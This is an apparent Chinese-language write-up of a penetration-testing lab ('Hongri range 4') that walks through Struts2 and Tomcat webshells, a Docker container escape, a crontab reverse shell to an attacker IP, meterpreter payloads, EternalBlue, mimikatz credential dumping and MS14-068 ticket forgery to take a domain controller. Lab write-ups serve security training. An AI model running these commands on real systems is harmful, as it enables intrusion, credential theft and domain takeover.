红日靶场 4
环境搭建
web:

win7:Dotest123DC

DC:

web 需要启动一下 docker
sudo docker start ec 17 09 ad

外网渗透
信息收集
扫网段获取 ip 地址

然后扫端口

这里几个端口都挺少见的
2001 是一个文件上传

2002 是 Apache 中间件的页面

2003 是 phpMyadmin 的页面

初始访问
2001 端口
这里 nmap 扫描出来是 Struts2,网页也显示是这个框架,尝试使用工具一把梭,成功了,有好多个漏洞(

成功 getshell 了,不过这里是在 docker 环境里面,不像正常的服务

接下来要尝试容器逃逸
容器逃逸(失败)
先收集信息
查看 IP 地址,发现不是 192 的 IP,又验证了是容器

查看提权信息,但是这里没有这个命令
capsh --print
查看挂载情况,看看有没有敏感信息
cat /proc/self/mounts

查看系统版本,这里的 linux 版本有点低
uname -a

查看特权模式,如果容器是以 --privileged 启动时,docker 会赋予主机级权限,可以读写所有设备文件并挂载宿主机磁盘
cat /proc/self/status | grep CapEff

然后用命令查看这个具体有什么特权,这里没有特权,只能尝试使用一些组件漏洞
capsh --decode=00000000a80425fb

尝试使用 msf 上线,会更好操作一些
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.154.130 LPORT=4444 -f elf -o shell.elf

msf 启动监听,执行文件后成功获得 meterpreter
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.154.130
set LPORT 4444

主动识别可用模块,但是这里把服务扫爆了(
use post/multi/recon/local_exploit_suggester
set SESSION 1

这里针对容器逃逸的好像就一个 exploit/linux/local/docker_cgroup_escape,但是也是需要特权的,没有成功

2002 端口
这里是一个 Apache Tomcat 的服务,版本是 8.5.19 搜索到有一个文件上传漏洞,这里后台有限制

直接用 burp 抓包,然后将请求方法修改为 PUT,成功上传文件,测试直接上传 jsp shell


直接上传 jsp 会被 waf,绕过方法是使用 /,直接上 webshell

成功 getshell

容器逃逸
这个容器可以看到有特权,这里有 cap_sys_admin 这个主要的特权


可以将宿主机的物理硬盘挂载到容器里,随意篡改,先查看容器中也没有宿主机的磁盘,这里确实有 /dev/sda1,也有可能是 /dev/vda1
fdisk -l
lsblk

直接挂载这个磁盘,这里就可以修改宿主机的文件了,直接写 ssh 公钥
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

ssh (失败)
创建 ssh 密钥,复制这个公钥文件
ssh-keygen -t rsa -b 4096 -f pentest_key -N ""

先在目标中创建一个 .ssh 目录并给权限

然后将刚才的公钥命名为 authorized_keys 上传,还需要赋予命令
chmod 600 /mnt/host/root/.ssh/authorized_keys
然后直接连接,但是这里没成功,应该是配置不允许,需要修改配置
# 允许 root 登录
sed -i 's/.*PermitRootLogin.*/PermitRootLogin yes/g' /mnt/host/etc/ssh/sshd_config
# 允许公钥认证
sed -i 's/.*PubkeyAuthentication.*/PubkeyAuthentication yes/g' /mnt/host/etc/ssh/sshd_config
但是这个需要重启,这里没有成功重启,于是失败
chroot(成功一半)
这个使用冰蝎的 shell 不成功,尝试 msf 上去行不行

成功了,容器逃逸,但是这里测试了一下,只是把物理磁盘逃逸出来了,查看 ip 还是 docker 中的 IP
chroot /mnt/host /bin/bash

crontab
写计划任务来反弹 shell,成功
这里不知道为什么前面 ssh 的重启写计划任务一直没有成功,可能就是不能用公钥连接把(
echo "bash -i >& /dev/tcp/192.168.154.130/6666 0>&1" > /mnt/host/1.sh
echo "* * * * * root bash /1.sh" >> /mnt/host/etc/crontab

2003 端口
内网渗透
隧道代理
这里要需要隧道代理出来,还是使用 msf 再次上线

然后就是配置代理
run autoroute -s 192.168.52.0/24
run autoroute -p

信息收集
这里可以发现内网的网段 192.168.52.0/24

然后扫内网,这个只扫描到了 195.168.52.130,这里应该还有一个 IP,发现是这个服务器的配置有问题,没有打开,其实应该是能扫到,这里就不重新扫了
proxychains4 nmap -Pn -sT -p 445,135,80 --open 192.168.52.0/24


学到一个,这个很快
proxychains4 fping -aqg 192.168.52.0/24
然后重新扫描常用端口
proxychains nmap -sV -T4 192.168.52.130


有 445 端口,先尝试一下永恒之蓝
use exploit/windows/smb/ms17_010_eternalblue
# 设置正向连接,让目标机开放一个端口进行监听,攻击机主动连接这个端口
set payload windows/x64/meterpreter/bind_tcp
set proxies socks5:127.0.0.1:1080
# 设置了一个自动运行的后渗透脚本,只要建立会话,就立即进程迁移
set autorunscript post/windows/manage/migrate
这里没有设置这个进程迁移就会一直失败

成功拿到了用户密码

在用户的桌面发现了一个工具 MS14-068

查看这些参数

-u:用户名@域名
-s:用户 SID
-d:域控制器地址
-p:明文密码
--rc4:没有明文密码的情况下使用 NTLM hash 登录
接下来就是收集这些信息
kiwi_cmd sekurlsa::logonpasswords

这个漏洞的原理是一个叫做 PAC 的认证,用户请求域控时,就会将用户的信息打包成 PAC,放在 TGT 中发给用户,并且会签名
但是在有漏洞的地方,域控允许客户端指定签名算法,导致域控会将伪造的 PAC 封装成一个新的 TGT 返回给攻击者
MS14-068.exe -u douser@demo.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.52.130 -p Dotest123

这里会返回一个票据注入到内存中,我们还需要将这个票据注入到内存中

# 清空当前会话的票据
kerberos::purge
# 注入伪造的票据
kerberos::ptc TGT_douser@demo.com.ccache

然后就拥有了域控权限

这里的工具都给备好,直接使用,测试已经成功了

